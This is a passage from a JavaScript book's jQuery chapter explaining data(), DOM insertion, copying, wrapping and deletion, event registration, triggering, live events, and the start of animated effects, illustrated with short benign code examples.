jQuery defines a getter/setter method named `data()` that sets or queries data associated with any document element or with the Document or Window objects. The ability to associate data with any element is an important and powerful one: it is the basis for jQuery's event handler registration and effects queuing mechanisms, and you may sometimes want to use the `data()` method in your own code.

To associate data with the elements in a jQuery object, call `data()` as a setter method, passing a name and a value as the two arguments. Alternatively, you can pass a single object to the `data()` setter and each property of that object will be used as a name/value pair to associate with the element or elements of the jQuery object. Note, however, that when you pass an object to `data()`, the properties of that object replace any data previously associated with the element or elements. Unlike many of the other setter methods we've seen, `data()` does not invoke functions you pass. If you pass a function as the second argument to `data()`, that function is stored, just as any other value would be.

The `data()` method can also serve as a getter, of course. When invoked with no arguments, it returns an object containing all name/value pairs associated with the first element in the jQuery object. When you invoke `data()` with a single string argument, it returns the value associated with that string for the first element.

Use the `removeData()` method to remove data from an element or elements. (Using `data()` to set a named value to `null` or `undefined` is not the same thing as actually deleting the named value.) If you pass a string to `removeData()`, the method deletes any value associated with that string for the element or elements. If you call `removeData()` with no arguments, it removes all data associated with the element or elements:

```
$("div").data("x", 1);            // Set some data
$("div.nodata").removeData("x");  // Remove some data
var x = $('#mydiv').data("x");    // Query some data
```

jQuery also defines utility function forms of the `data()` and `removeData()` methods. You can associate data with an individual element `e` using either the method or function form of `data()`:

```
$(e).data(...)   // The method form
$.data(e, ...)   // The function form
```

jQuery's data framework does not store element data as properties of the elements themselves, but it does need to add one special property to any element that has data associated with it. Some browsers do not allow properties to be added to `<applet>`, `<object>`, and `<embed>` elements, so jQuery simply does not allow data to be associated with elements of these types.

19.3 Altering Document Structure

In §19.2.5 we saw the `html()` and `text()` methods for setting element content. This section covers methods for making more complex changes to a document. Because HTML documents are represented as a tree of nodes rather than a linear sequence of characters, insertions, deletions, and replacements are not as simple as they are for strings and arrays. The subsections that follow explain the various jQuery methods for document modification.

19.3.1 Inserting and Replacing Elements

Let's begin with basic methods for insertions and replacements. Each of the methods demonstrated below takes an argument that specifies the content that is to be inserted into the document. This can be a string of plain text or of HTML to specify new content, or it can be a jQuery object or an Element or text Node. The insertion is made into or before or after or in place of (depending on the method) each of the selected elements. If the content to be inserted is an element that already exists in the document, it is moved from its current location. If it is to be inserted more than once, the element is cloned as necessary. These methods all return the jQuery object on which they are called. Note, however, that after `replaceWith()` runs, the elements in the jQuery object are no longer in the document:

```
$("#log").append("<br/>"+message); // Add content at end of the #log element
$("h1").prepend("§");              // Add section sign at start of each <h1>
$("h1").before("<hr/>");           // Insert a rule before each <h1>
$("h1").after("<hr/>");            // And after as well
$("hr").replaceWith("<br/>");      // Replace <hr/> elements with <br/>
$("h2").each(function() {          // Replace <h2> with <h1>, keeping content
                var h2 = $(this);
                h2.replaceWith("<h1>" + h2.html() + "</h1>");
              });
// after() and before() can be called on text nodes, as well
// This is another way to add a section sign at the start of each <h1>
$("h1").map(function() { return this.firstChild; }).before("§");
```


Download from Wow! eBook <www.wowebook.com>

Each of these five structure-altering methods can also be passed a function that will be invoked to compute the value to be inserted. As usual, if you supply such a function, it will be invoked once for each selected element. The `this` value will be that element and the first argument will be the index of that element within the jQuery object. For `append()`, `prepend()`, and `replaceWith()`, the second argument is the current content of the element as an HTML string. For `before()` and `after()`, the function is invoked with no second argument.

The five methods demonstrated above are all invoked on target elements and are passed the content that is to be inserted as an argument. Each of those five methods can be paired with another method that works the other way around: invoked on the content and passed the target elements as the argument. This table shows the method pairs:

Operation	`$(target).`*`method`*`(content)`	`$(content).`*`method`*`(target)`
insert content at end of target	`append()`	`appendTo()`
insert content at start of target	`prepend()`	`prependTo()`
insert content after target	`after()`	`insertAfter()`
insert content before target	`before()`	`insertBefore()`
replace target with content	`replaceWith()`	`replaceAll()`

The methods demonstrated in the example code above are the ones in the second column. The methods in the third column are demonstrated below. There are a couple of important things to understand about these pairs of methods:

- If you pass a string to one of the second column methods, it is taken as a string of HTML to insert. If you pass a string to one of the third column methods, it is taken as a selector that identifies the target elements. (You can also identify the target elements directly by passing a jQuery object or Element or text node.)
- The third column methods do not accept function arguments like the second column methods do.
- The second column methods return the jQuery object on which they were invoked. The elements in that jQuery object may have new content or new siblings, but they are not themselves altered. The third column methods are invoked on the content that is being inserted and they return a new jQuery object that represents the new content after its insertion. In particular, note that if content is inserted at multiple locations, the returned jQuery object will include one element for each location.

With those differences listed, the code below performs the same operations as the code above, using the methods in the third column instead of the methods in the second column. Notice that in the second line we can't pass plain text (without angle brackets to identify it as HTML) to the `$()` method—it thinks we're specifying a selector. For this reason, we must explicitly create the text node that we want to insert:

```
$("<br/>+message").appendTo("#log");            // Append html to #log
$(document.createTextNode("$")).prependTo("h1"); // Append text node to <h1>s
```

```
$("<hr/>").insertBefore("h1");                    // Insert rule before <h1>s
$("<hr/>").insertAfter("h1");                     // Insert rule after <h1>s
$("<br/>").replaceAll("hr");                      // Replace <hr/> with <br/>
```

19.3.2 Copying Elements

As noted above, if you insert elements that are already part of the document, those elements will simply be moved, not copied, to their new location. If you are inserting the elements in more than one place, jQuery will make copies as needed, but copies are not made when only one insertion is done. If you want to copy elements to a new location instead of moving them, you must first make a copy with the `clone()` method. `clone()` makes and returns a copy of each selected element (and of all of the descendants of those elements). The elements in the returned jQuery object are not part of the document yet, but you can insert them with one of the methods above:

```
// Append a new div, with id "linklist", to the end of the document
$(document.body).append("<div id='linklist'><h1>List of Links</h1></div>");
// Copy all links in the document and insert them into that new div
$("a").clone().appendTo("#linklist");
// Insert <br/> elements after each link so they display on separate lines
$("#linklist > a").after("<br/>");
```

`clone()` does not normally copy event handlers (§19.4) or other data you have associated with elements (§19.2.7); pass `true` if you want to clone that additional data as well.

19.3.3 Wrapping Elements

Another type of insertion into an HTML document involves wrapping a new element (or elements) around one or more elements. jQuery defines three wrapping functions. `wrap()` wraps each of the selected elements. `wrapInner()` wraps the contents of each selected element. And `wrapAll()` wraps the selected elements as a group. These methods are usually passed a newly created wrapper element or a string of HTML used to create a wrapper. The HTML string can include multiple nested elements, if desired, but there must be a single innermost element. If you pass a function to any of these methods, it will be invoked once in the context of each element (with the element index as its only argument) and should return the wrapper string, Element, or jQuery object. Here are some examples:

```
// Wrap all <h1> elements with <i> elements
$("h1").wrap(document.createElement("i")); // Produces <i><h1>...</h1></i>
// Wrap the content of all <h1> elements. Using a string argument is easier.
$("h1").wrapInner("<i/>");                 // Produces <h1><i>...</i></h1>
// Wrap the first paragraph in one anchor and div
$("body>p:first").wrap("<a name='lead'><div class='first'></div></a>");
// Wrap all the other paragraphs in another div
$("body>p:not(:first)").wrapAll("<div class='rest'></div>");
```

19.3.4 Deleting Elements

Along with insertions and replacements, jQuery also defines methods for deleting elements. `empty()` removes all children (including text nodes) of each of the selected elements, without altering the elements themselves. The `remove()` method, by contrast, removes the selected elements (and all of their content) from the document. `remove()` is normally invoked with no arguments and removes all elements in the jQuery object. If you pass an argument, however, that argument is treated as a selector, and only elements of the jQuery object that also match the selector are removed. (If you just want to remove elements from the set of selected elements, without removing them from the document, use the `filter()` method, which is covered in §19.8.2.) Note that it is not necessary to remove elements before reinserting them into the document: you can simply insert them at a new location and they will be moved.

The `remove()` method removes any event handlers (see §19.4) and other data (§19.2.7) you may have bound to the removed elements. The `detach()` method works just like `remove()` but does not remove event handlers and data. `detach()` may be more useful when you want to temporarily remove elements from the document for later reinsertion.

Finally, the `unwrap()` method performs element removal in a way that is the opposite of the `wrap()` or `wrapAll()` method: it removes the parent element of each selected element without affecting the selected elements or their siblings. That is, for each selected element, it replaces the parent of that element with its children. Unlike `remove()` and `detach()`, `unwrap()` does not accept an optional selector argument.

19.4 Handling Events with jQuery

As we saw in Chapter 17, one of the difficulties of working with events is that IE (until IE9) implements a different event API than all other browsers do. To address this difficulty, jQuery defines a uniform event API that works in all browsers. In its simple form, the jQuery API is easier to use than the standard or IE event APIs. And in its more complex full-featured form, the jQuery API is more powerful than the standard API. The subsections below have all the details.

19.4.1 Simple Event Handler Registration

jQuery defines simple event-registration methods for each of the commonly used and universally implemented browser events. To register an event handler for click events, for example, just call the `click()` method:

```
// Clicking on any <p> gives it a gray background
$("p").click(function() { $(this).css("background-color", "gray"); });
```

Calling a jQuery event-registration method registers your handler on all of the selected elements. This is typically much easier than one-at-a-time event handler registration with `addEventListener()` or `attachEvent()`.

These are the simple event handler registration methods jQuery defines:

```
blur()          focusin()       mousedown()     mouseup()
change()        focusout()      mouseenter()    resize()
click()         keydown()       mouseleave()    scroll()
dblclick()      keypress()      mousemove()     select()
error()         keyup()         mouseout()      submit()
focus()         load()          mouseover()     unload()
```

Most of these registration methods are for common event types you are already familiar with from Chapter 17. A few notes are in order, however. Focus and blur events do not bubble, but the focusin and focusout events do, and jQuery ensures that these events work in all browsers. Conversely, the mouseover and mouseout events do bubble, and this is often inconvenient because it is difficult to know whether the mouse has left the element you're interested in or whether it has simply moved out of one of the descendants of that element. mouseenter and mouseleave are nonbubbling events that solve this problem. These event types were originally introduced by IE, and jQuery ensures that they work correctly in all browsers.

The resize and unload event types are only ever fired on the Window object, so if you want to register handlers for these event types, you should invoke the `resize()`and `unload()` methods on `$(window)`. The `scroll()` method is also most often used on `$(window)`, but it can also be used on any element that has scrollbars (such as when the CSS `overflow` attribute is set to "scroll" or "auto"). The `load()` method can be called on `$(window)` to register a load event handler for the window, but it is usually better to pass your initialization function directly to `$()` as shown in §19.1.1. You can use the `load()` method on iframes and images, however. Note that when invoked with different arguments, `load()` is also used to load new content (via scripted HTTP) into an element—see §19.6.1. The `error()` method can be used on `<img>` elements to register handlers that are invoked if an image fails to load. It should not be used to set the Window `onerror` property that was described in §14.6.

In addition to these simple event registration methods, there are two special forms that are sometimes useful. The `hover()` method registers handlers for mouseenter and mouseleave events. Calling `hover(f,g)` is like calling `mouseenter(f)` and then calling `mouseleave(g)`. If you pass just one argument to `hover()`, that function is used as the handler for both enter and leave events.

The other special event registration method is `toggle()`. This method binds event handler functions to the click event. You specify two or more handler functions and jQuery invokes one of them each time a click event occurs. If you call `toggle(f,g,h)`, for example, the function `f()` is invoked to handle the first click event, `g()` is invoked to handle the second, `h()` is invoked to handle the third, and `f()` is invoked again to handle the fourth click event. Be careful when using `toggle()`: as we'll see in §19.5.1, this method can also be used to show or hide (i.e., toggle the visibility of) the selected elements.

We'll learn about other more general ways to register event handlers in §19.4.4, and we'll end this section with one more simple and convenient way to register handlers.

Recall that you can pass a string of HTML to `$()` to create the elements described by that string, and that you can pass (as a second argument) an object of attributes to be set on the newly created elements. This second argument can be any object that you would pass to the `attr()` method. But in addition, if any of the properties have the same name as the event registration methods listed above, the property value is taken as a handler function and is registered as a handler for the named event type. For example:

```
$("<img/>", {
    src: image_url,
    alt: image_description,
    className: "translucent_image",
    click: function() { $(this).css("opacity", "50%"); }
});
```

19.4.2 jQuery Event Handlers

The event handler functions in the examples above expect no arguments and return no values. It is quite normal to write event handlers like that, but jQuery does invoke every event handler with one or more arguments, and it does pay attention to the return value of your handlers. The most important thing you should know is that every event handler is passed a jQuery event object as its first argument. The fields of this object provide details (like mouse pointer coordinates) about the event. The properties of the standard Event object were described in Chapter 17. jQuery simulates that standard Event object, even in browsers (like IE8 and before) that do not support it, and jQuery event objects have the same set of fields in all browsers. This is explained in detail in §19.4.3.

Normally, event handlers are invoked with only the single event object argument. But if you explicitly trigger an event with `trigger()` (see §19.4.6), you can pass an array of extra arguments. If you do this, those arguments will be passed to the event handler after the first event object argument.

Regardless of how they are registered, the return value of a jQuery event handler function is always significant. If a handler returns `false`, both the default action associated with the event and any future propagation of the event are canceled. That is, returning `false` is the same as calling the `preventDefault()` and `stopPropagation()` methods of the Event object. Also, when an event handler returns a value (other than `undefined`), jQuery stores that value in the `result` property of the Event object where it can be accessed by subsequently invoked event handlers.

19.4.3 The jQuery Event Object

jQuery hides implementation differences between browsers by defining its own Event object. When a jQuery event handler is invoked, it is always passed a jQuery Event object as its first argument. The jQuery Event object is based heavily on W3C standards, but it also codifies some de facto event standards. jQuery copies all of the following fields from the native Event object into every jQuery Event object (though some of them will be `undefined` for certain event types):

altKey	ctrlKey	newValue	screenX
attrChange	currentTarget	offsetX	screenY
attrName	detail	offsetY	shiftKey
bubbles	eventPhase	originalTarget	srcElement
button	fromElement	pageX	target
cancelable	keyCode	pageY	toElement
charCode	layerX	prevValue	view
clientX	layerY	relatedNode	wheelDelta
clientY	metaKey	relatedTarget	which

In addition to these properties, the Event object also defines the following methods:

preventDefault()	isDefaultPrevented()
stopPropagation()	isPropagationStopped()
stopImmediatePropagation()	isImmediatePropagationStopped()

Most of these event properties and methods were introduced in Chapter 17 and are documented in Part IV under *ref-Event*. Some of these fields are specially handled by jQuery to give them a uniform cross-browser behavior and are worth noting here:

`metaKey`
: If the native event object does not have a `metaKey` property, jQuery sets this to the same value as the `ctrlKey` property. In MacOS, the Command key sets the `metaKey` property.

`pageX, pageY`
: If the native event object does not define these properties, but does define the viewport coordinates of the mouse pointer in `clientX` and `clientY`, jQuery computes the document coordinates of the mouse pointer and stores them in `pageX` and `pageY`.

`target, currentTarget, relatedTarget`
: The `target` property is the document element on which the event occurred. If the native event object has a text node as the target, jQuery reports the containing Element instead. `currentTarget` is the element on which the current executing event handler was registered. This should always be the same as `this`.

  If `currentTarget` is not the same as `target`, you're handling an event that has bubbled up from the element on which it occurred and it may be useful to test the `target` element with the `is()` method (§19.1.2):

```
if ($(event.target).is("a")) return; // Ignore events that start on links
```

  `relatedTarget` is the other element involved in transition events such as mouseover and mouseout. For mouseover events, for example, the `relatedTarget` property specifies the element that the mouse pointer exited as it moved over the `target`. If the native event object does not define `relatedTarget` but does define `toElement` and `fromElement`, `relatedTarget` is set from those properties.

`timeStamp`
: The time at which the event occurred, in the millisecond representation returned by the `Date.getTime()` method. jQuery sets the field itself to work around a long-standing bug in Firefox.

`which`
: jQuery normalizes this nonstandard event property so that it specifies which mouse button or keyboard key was pressed during the event. For keyboard events, if the native event does not define `which`, but defines `charCode` or `keyCode`, `which` will be set to whichever of those properties is defined. For mouse events, if `which` is not defined but the `button` property is defined, `which` is set based on the `button` value. 0 means no buttons are pressed. 1 means the left button is pressed, 2 means the middle button is pressed, and 3 means the right button is pressed. (Note that some browsers don't generate mouse events for right-button clicks.)

In addition, the following fields of the jQuery Event object are jQuery-specific additions that you may sometimes find useful:

`data`
: If additional data was specified when the event handler was registered (see §19.4.4), it is made available to the handler as the value of this field

`handler`
: A reference to the event handler function currently being invoked

`result`
: The return value of the most recently invoked handler for this event, ignoring handlers that do not return a value

`originalEvent`
: A reference to the native Event object generated by the browser

19.4.4 Advanced Event Handler Registration

We've seen that jQuery defines quite a few simple methods for registering event handlers. Each of these simply invoke the single, more complex method `bind()` to bind a handler for a named event type to each of the elements in the jQuery object. Using `bind()` directly allows you to use advanced event registration features that are not available through the simpler methods.[4]

In its simplest form, `bind()` expects an event type string as its first argument and an event handler function as its second. The simple event registration methods use this form of `bind()`. The call `$('p').click(f)`, for example, is equivalent to:

```
$('p').bind('click', f);
```

`bind()` can also be invoked with three arguments. In this form, the event type is the first argument and the handler function is the third. You can pass any value between those two and jQuery will set the `data` property of the Event object to the value you specify

4. jQuery uses the term "bind" for event handler registration. ECMAScript 5, and a number of JavaScript frameworks, define a `bind()` method on functions (§8.7.4), and use the term for the association of functions with objects on which they are to be invoked. jQuery's version of the `Function.bind()` method is a utility function named `jQuery.proxy()`, and you can read about it in §19.7.

before it invokes the handler. It is sometimes useful to pass additional data to your handlers in this way without having to use closures.

There are other advanced features of `bind()` as well. If the first argument is a space-separated list of event types, then the handler function will be registered for each of the named event types. The call `$('a').hover(f)` (see §19.4.1), for example, is the same as:

```
$('a').bind('mouseenter mouseleave', f);
```

Another important feature of `bind()` is that it allows you to specify a namespace (or namespaces) for your event handlers when you register them. This allows you to define groups of handlers and comes in handy if you later want to trigger or deregister the handlers in a particular namespace. Handler namespaces are particularly useful for programmers who are writing libraries or modules of reusable jQuery code. Event namespaces look like CSS class selectors. To bind an event handler in a namespace, add a period and the namespace name to the event type string:

```
// Bind f as a mouseover handler in namespace "myMod" to all <a> elements
$('a').bind('mouseover.myMod', f);
```

You can even assign a handler to multiple namespaces like this:

```
// Bind f as a mouseout handler in namespaces "myMod" and "yourMod"
$('a').bind('mouseout.myMod.yourMod', f);
```

The final feature of `bind()` is that the first argument can be an object that maps event names to handler functions. To use the `hover()` method as an example again, the call `$('a').hover(f,g)` is the same as:

```
$('a').bind({mouseenter:f, mouseleave:g});
```

When you use this form of `bind()`, the property names in the object you pass can be space-separated strings of event types and can include namespaces. If you specify a second argument after the first object argument, that value is used as the data argument for each of the event bindings.

jQuery has another event handler registration method. The `one()` method is invoked and works just like `bind()` does, except that the event handler you register will automatically deregister itself after it is invoked. This means, as the method name implies, that event handlers registered with `one()` will never be triggered more than once.

One feature that `bind()` and `one()` do not have is the ability to register capturing event handlers as you can with `addEventListener()` (§17.2.3). IE (until IE9) does not support capturing handlers, and jQuery does not attempt to simulate that feature.

19.4.5 Deregistering Event Handlers

After registering an event handler with `bind()` (or with any of the simpler event registration methods), you can deregister it with `unbind()` to prevent it from being triggered by future events. (Note that `unbind()` only deregisters event handlers registered with `bind()` and related jQuery methods. It does not deregister handlers passed to `addEventListener()` or the IE method `attachEvent()`, and it does not remove handlers

defined by element attributes such as `onclick` and `onmouseover`.) With no arguments, `unbind()` deregisters all event handlers (for all event types) for all elements in the jQuery object:

```
$('*').unbind();  // Remove all jQuery event handlers from all elements!
```

With one string argument, all handlers for the named event type (or types, if the string names more than one) are unbound from all elements in the jQuery object:

```
// Unbind all mouseover and mouseout handlers on all <a> elements
$('a').unbind("mouseover mouseout");
```

This is a heavy-handed approach and should not be used in modular code because the user of your module might be using other modules that register their own handlers for the same event types on the same elements. If your module registered event handlers using namespaces, however, you can use this one-argument version of `unbind()` to deregister only the handlers in your namespace or namespaces:

```
// Unbind all mouseover and mouseout handlers in the "myMod" namespace
$('a').unbind("mouseover.myMod mouseout.myMod");
// Unbind handlers for any kind of event in the myMod namespace
$('a').unbind(".myMod");
// Unbind click handlers that are in both namespaces "ns1" and "ns2"
$('a').unbind("click.ns1.ns2");
```

If you want to be careful to unbind only event handlers you registered yourself and you did not use namespaces, you must retain a reference to the event handler functions and use the two-argument version of `unbind()`. In this form, the first argument is an event type string (without namespaces) and the second argument is a handler function:

```
$('#mybutton').unbind('click', myClickHandler);
```

When invoked this way, `unbind()` deregisters the specified event handler function for events of the specified type (or types) from all elements in the jQuery object. Note that event handlers can be unbound using this two-argument version of `unbind()` even when they were registered with an extra data value using the three-argument version of `bind()`.

You can also pass a single object argument to `unbind()`. In this case, `unbind()` is invoked recursively for each property of the object. The property name is used as the event type string and the property value is used as the handler function:

```
$('a').unbind({  // Remove specific mouseover and mouseout handlers
   mouseover: mouseoverHandler,
   mouseout: mouseoutHandler
});
```

Finally, there is one more way that `unbind()` can be invoked. If you pass a jQuery Event object to it, it unbinds the event handler that that event was passed to. Calling `unbind(ev)` is equivalent to `unbind(ev.type, ev.handler)`.

19.4.6 Triggering Events

The event handlers you register are automatically invoked when the user uses the mouse or keyboard or when other kinds of events occur. Sometimes, however, it is useful to be able to manually trigger events. The simple way to do this is to invoke one of the simple event registration methods (like `click()` or `mouseover()`) with no argument. Just as many jQuery methods serve as both getters and setters, these event methods register an event handler when invoked with an argument and trigger event handlers when invoked with no arguments. For example:

```
$("#my_form").submit();    // Act as if the user clicked the Submit button
```

The `submit()` method in the line above synthesizes an Event object and triggers any event handlers that have been registered for the submit event. If none of those event handlers return `false` or call the `preventDefault()` method of the Event object, the form will actually be submitted. Note that events that bubble will bubble even when triggered manually like this. This means that triggering an event on a selected set of elements may also trigger handlers on the ancestors of those elements.

It is important to note that jQuery's event triggering methods will trigger any handlers registered with jQuery's event registration methods, and they will also trigger handlers defined on HTML attributes or Element properties such as `onsubmit`. But you cannot manually trigger event handlers registered with `addEventListener()` or `attachEvent()` (those handlers will still be invoked when a real event occurs, however).

Also note that jQuery's event triggering mechanism is synchronous—there is no event queue involved. When you trigger an event, event handlers are invoked immediately, before the triggering method you called returns. If you trigger a click event and one of the triggered handlers triggers a submit event, all of the matching submit handlers are invoked before the next "click" handler is invoked.

Methods like `submit()` are convenient for binding and triggering events, but just as jQuery defines a more general `bind()` method, so too it defines a more general `trigger()` method. Normally you invoke `trigger()` with an event type string as the first argument and it triggers the handlers registered for events of that type on all elements in the jQuery object. So the `submit()` call above is equivalent to:

```
$("#my_form").trigger("submit");
```

Unlike the `bind()` and `unbind()` methods, you cannot specify more than one event type in this string. Like `bind()` and `unbind()`, however, you can specify event namespaces to trigger only the handlers defined in that namespace. If you want to trigger only event handlers that have *no* namespace, append an exclamation mark to the event type. Handlers registered through properties like `onclick` are considered to have no namespace:

```
$("button").trigger("click.ns1");  // Trigger click handlers in a namespace
$("button").trigger("click!");     // Trigger click handlers in no namespace
```

Instead of passing an event type string as the first argument to `trigger()`, you can also pass an Event object (or any object that has a `type` property). The `type` property will be used to determine what kind of handlers to trigger. If you specified a jQuery Event object, that object will be the one passed to the triggered handlers. If you specified a plain object, a new jQuery Event object will be created, and the properties of the object you passed will be added to it. This is an easy way to pass additional data to event handlers:

```
// The onclick handler of button1 triggers the same event on button2
$('#button1').click(function(e) { $('#button2').trigger(e); });

// Add an extra property to the event object when triggering an event
$('#button1').trigger({type:'click', synthetic:true});

// This handler tests that extra property to distinguish real from synthetic
$('#button1').click(function(e) { if (e.synthetic) {...}; });
```

Another way to pass additional data to event handlers when you trigger them manually is to use the second argument to `trigger()`. The value you pass as the second argument to `trigger()` will become the second argument to each of the event handlers that is triggered. If you pass an array as the second argument, each of its elements will be passed as arguments to the triggered handlers:

```
$('#button1').trigger("click", true);    // Pass a single extra argument
$('#button1').trigger("click", [x,y,z]); // Pass three extra arguments
```

Sometimes you may want to trigger all handlers for a given event type, regardless of which document element those handlers are bound to. You could select all elements with `$('*')` and then call `trigger()` on the result, but that would be very inefficient. Instead, to trigger an event globally, call the `jQuery.event.trigger()` utility function. This function takes the same arguments as the `trigger()` method and efficiently triggers event handlers for the specified event type throughout the document. Note that "global events" triggered in this way do not bubble, and only handlers registered using jQuery methods (not event handlers registered with DOM properties like `onclick`) are triggered with this technique.

After invoking event handlers, `trigger()` (and the convenience methods that call it) perform whatever default action is associated with the triggered event (assuming that the event handlers didn't return false or call `preventDefault()` on the event object). For example, if you trigger a submit event on a `<form>` element, `trigger()` will call the `submit()` method of that form, and if you trigger a focus event on an element, `trigger()` will call the `focus()` method of that element.

If you want to invoke event handlers without performing the default action, use `triggerHandler()` instead of `trigger()`. This method works just like `trigger()`, except that it first calls the `preventDefault()` and `cancelBubble()` methods of the Event object. This means that the synthetic event does not bubble or perform the default action associated with it.

19.4.7 Custom Events

jQuery's event management system is designed around the standard events like mouse clicks and key presses that web browsers generate. But it is not tied to those events, and you can use any string you want as an event type name. With `bind()` you can register handlers for this kind of "custom event" and with `trigger()` you can cause those handlers to be invoked.

This kind of indirect invocation of custom event handlers turns out to be quite useful for writing modular code and implementing a publish/subscribe model or the Observer pattern. Often when using custom events you may find it useful to trigger them globally with the `jQuery.event.trigger()` function instead of the `trigger()` method:

```
// When the user clicks the "logoff" button, broadcast a custom event
// to any interested observers that need to save their state and then
// navigate to the logoff page.
$("#logoff").click(function() {
    $.event.trigger("logoff");        // Broadcast an event
    window.location = "logoff.php";   // Navigate to a new page
});
```

We'll see in §19.6.4 that jQuery's Ajax methods broadcast custom events like this to notify interested listeners.

19.4.8 Live Events

The `bind()` method binds event handlers to specific document elements just as `addEventListener()` and `attachEvent()` (see Chapter 17) do. But web applications that use jQuery often dynamically create new elements. If we've used `bind()` to bind an event handler to all `<a>` elements in the document and then we create new document content with new `<a>` elements, those new elements will not have the same event handlers as the old ones and will not behave in the same way.

jQuery addresses this issue with "live events." To use live events, use the `delegate()` and `undelegate()` methods instead of `bind()` and `unbind()`. `delegate()` is usually invoked on `$(document)` and is passed a jQuery selector string, a jQuery event type string, and a jQuery event handler function. It registers an internal handler on the document or window (or on whatever elements are in the jQuery object). When an event of the specified type bubbles up to this internal handler, it determines whether the target of the event (the element that the event occurred on) matches the selector string. If so, it invokes the specified handler function. So to handle mouseover events on both old and newly created `<a>` elements, you might register a handler like this:

```
$(document).delegate("a", "mouseover", linkHandler);
```

Or you might use `bind()` in the static portions of your document and then use `delegate()` to handle the portions that change dynamically:

```
// Static event handlers for static links
$("a").bind("mouseover", linkHandler);
```

```
// Live event handlers for parts of the document that are dynamically updated
$(".dynamic").delegate("a", "mouseover", linkHandler);
```

Just as the `bind()` method has a three-argument version that allows you to specify the value of the `data` property of the event object, the `delegate()` method has a four-argument version that allows the same thing. To use this version, pass the data value as the third argument and the handler function as the fourth.

It is important to understand that live events depend on event bubbling. By the time an event bubbles up to the document object, it may have already been passed to a number of static event handlers. And if any of those handlers called the `cancelBubble()` method of the Event object, the live event handler will never be invoked.

jQuery defines a method named `live()` that can also be used to register live events. `live()` is a little harder to understand than `delegate()`, but it has the same two- or three-argument signature as `bind()` and is more commonly used in practice. The two calls to `delegate()` shown above could also be written as follows using `live()`:

```
$("a").live("mouseover", linkHandler);
$("a", $(".dynamic")).live("mouseover", linkHandler);
```

When the `live()` method is invoked on a jQuery object, the elements in that object are not actually used. What matters instead is the selector string and the context object (the first and second arguments to `$()`) that were used to create the jQuery object. jQuery objects make these values available through their `context` and `selector` properties (see §19.1.2). Normally, you invoke `$()` with only one argument and the context is the current document. So for a jQuery object `x`, the following two lines of code do the same thing:

```
x.live(type,handler);
$(x.context).delegate(x.selector, type, handler);
```

To deregister live event handlers, use `die()` or `undelegate()`. `die()` can be invoked with one or two arguments. With one event type argument, it removes all live event handlers that match the selector and the event type. And with an event type and handler function argument, it removes only the one specified handler. Some examples:

```
$('a').die('mouseover');  // Remove all live handlers for mouseover on <a> elts
$('a').die('mouseover', linkHandler); // Remove just one specific live handler
```

`undelegate()` is like `die()` but more explicitly separates the context (the elements on which the internal event handlers are registered) and the selector string. The calls to `die()` above could instead be written like this:

```
$(document).undelegate('a'); // Remove all live handlers for <a> elements
$(document).undelegate('a', 'mouseover'); // Remove live mouseover handlers
$(document).undelegate('a', 'mouseover', linkHandler); // One specific handler
```

Finally, `undelegate()` can also be called with no arguments at all. In this case, it deregisters all live event handlers that are delegated from the selected elements.

19.5 Animated Effects

Chapter 16 showed how to script the CSS styles of document elements. By setting the CSS `visibility` property, for example, you can make elements appear and disappear. §16.3.1 went on to demonstrate how CSS scripting can be used to produce animated visual effects. Instead of just making an element disappear, for example, we might reduce the value of its `opacity` property over the period of a half second so that it quickly fades away instead of just blinking out of existence. This kind of animated visual effect creates a more pleasing experience for users, and jQuery makes them easy.

jQuery defines simple methods such as `fadeIn()` and `fadeOut()` for basic visual effects. In addition to simple effects methods, it defines an `animate()` method for producing more complex custom animations. The subsections below explain both the simple effects methods and the more general `animate()` method. First, however, we'll describe some general features of jQuery's animation framework.

Every animation has a duration that specifies how long the effect should last for. You specify this as a number of milliseconds or by using a string. The string "fast" means 200ms. The string "slow" means 600ms. If you specify a duration string that jQuery does not recognize, you'll get a default duration of 400ms. You can define new duration names by adding new string-to-number mappings to `jQuery.fx.speeds`:

```
jQuery.fx.speeds["medium-fast"] = 300;
jQuery.fx.speeds["medium-slow"] = 500;
```

jQuery's effect methods usually take effect duration as an optional first argument. If you omit the duration argument, you usually get the default 400ms. Some methods, however, produce an instant nonanimated effect when you omit the duration:

```
$("#message").fadeIn();        // Fade an element in over 400ms
$("#message").fadeOut("fast"); // Fade it out over 200ms
```

Disabling Animations

Animated visual effects have become the norm on many websites, but not all users like them: some users find them distracting and others feel they cause motion sickness. Disabled users may find that animations interfere with assistive technology like screen readers and users on old hardware may feel that they require too much processing power. As a courtesy to your users, you should generally keep your animations simple and understated and also provide an option to disable them completely. jQuery makes it easy to globally disable all effects: simply set `jQuery.fx.off` to `true`. This has the effect of changing the duration of every animation to 0ms, making them behave as instantaneous, nonanimated changes.

To allow end users to disable effects, you might use code like this in your scripts:

```
$(".stopmoving").click(function() { jQuery.fx.off = true; });
```

Then, if the web designer includes an element with class "stopmoving" on the page, the user can click it to disable animations.

jQuery's effects are asynchronous. When you call an animation method like `fadeIn()`, it returns right away and the animation is performed "in the background." Because animation methods return before the animation is complete, the second argument (also optional) to many of jQuery's effect methods is a function that will be invoked when the effect is complete. The function is not passed any arguments, but the `this` value is set to the document element that was animated. The callback function is invoked once for each selected element:

```
// Quickly fade in an element, and when it is visible, display some text in it.
$("#message").fadeIn("fast", function() { $(this).text("Hello World"); });
```

Passing a callback function to an effect method allows you to perform actions at the end of an effect. Note, however, that this is not necessary when you simply want to perform multiple effects in sequence. By default, jQuery's animations are queued (§19.5.2.2 shows how to override this default). If you call an animation method on an element that is already being animated, the new animation does not begin right away but is deferred until the current animation ends. For example, you can make an element blink before fading in permanently:

```
$("#blinker").fadeIn(100).fadeOut(100).fadeIn(100).fadeOut(100).fadeIn();
```

jQuery's effect methods are declared to accept optional duration and callback arguments. It is also possible to invoke these methods with an object whose properties specify animation options:

```
// Pass duration and callback as object properties instead of arguments
$("#message").fadeIn({
    duration: "fast",
    complete: function() { $(this).text("Hello World"); }
});
```

Passing an object of animation objects is most commonly done with the general `animate()` method, but it is also possible for the simpler effects methods. Using an options object allows you to set other advanced options to control queuing and easing, for example. The available options are explained in §19.5.2.2.

19.5.1 Simple Effects

jQuery defines nine simple effects methods to hide and show elements. They can be divided into three groups based on the kind of effect they perform:

`fadeIn()`, `fadeOut()`, `fadeTo()`

These are the simplest effects: `fadeIn()` and `fadeOut()` simply animate the CSS `opacity` property to show or hide an element. Both accept optional duration and callback arguments. `fadeTo()` is slightly different: it expects a target opacity argument and animates the change from the element's current opacity to this target. For the `fadeTo()` method, the duration (or options object) is required as the first argument and the target opacity is required as the second argument. The callback function is an optional third argument.

